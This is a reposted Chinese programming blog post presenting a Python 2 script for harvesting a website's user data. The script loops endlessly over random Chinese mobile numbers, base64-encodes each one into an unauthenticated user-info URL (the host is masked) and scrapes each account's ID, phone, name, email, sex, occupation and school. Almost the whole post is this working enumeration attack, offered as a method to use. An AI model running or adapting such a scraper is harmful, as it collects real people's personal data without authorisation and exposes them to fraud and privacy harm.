当前位置 : 主页 > 编程语言 > python >

使用Python实现某网站的用户数据遍历实现方法

来源:互联网 收集:自由互联 发布时间:2022-06-18
本方法是很久以前的实现方法,目前网站不确定能用,代码中的网站信息已隐藏。 import urllib import re import base64 import random def get_user_info(phone): userinfo = base64.b64encode(phone) url = "http://****


本方法是很久以前的实现方法,目前网站不确定能用,代码中的网站信息已隐藏。

import urllib
import re
import base64
import random

def get_user_info(phone):
userinfo = base64.b64encode(phone)
url = "http://********/?q=user_manager/user_info/" + str(userinfo) + "/detailInfo"
response = urllib.urlopen(url)
html = response.read()

pattern3 = '<td height="34" align="left" valign="middle" >.*?</td>'
info3 = re.findall(pattern3, html)
list3 = []
for i in range(0, len(info3)):
pattern = '>.*?<'
list3.append(str(re.findall(pattern,info3[i])[0]).replace('>','').replace('<','').replace('&nbsp;',''))
merger(list3)

def merger(list):
for i in range(0,len(list)):
info = "id:"+str(list[0]).decode('utf-8')+"\r\n"+"account:"+str(list[1]).decode('utf-8')+"\r\nphone:"+str(list[2]).decode('utf-8')+"\r\nname:"+str(list[3]).decode('utf-8')+"\r\nemail:"+str(list[4]).decode('utf-8')+"\r\nsex:"+str(list[5]).decode('utf-8')+"\r\nwhat to do:"+str(list[6]).decode('utf-8')+"\r\nschool:"+str(list[7]).decode('utf-8')+"\r\n"
print(info)

prelist=["130","131","132","133","134","135","136","137","138","139","147","150","151","152","153","155","156","157","158","159","176","186","187","188"]
while True:
try:
phone = str(random.choice(prelist)+"".join(random.choice("0123456789") for i in range(8)))
get_user_info(phone)
except:
pass;



上一篇:Python学习过程的脚本记录(1)
下一篇:没有了
网友评论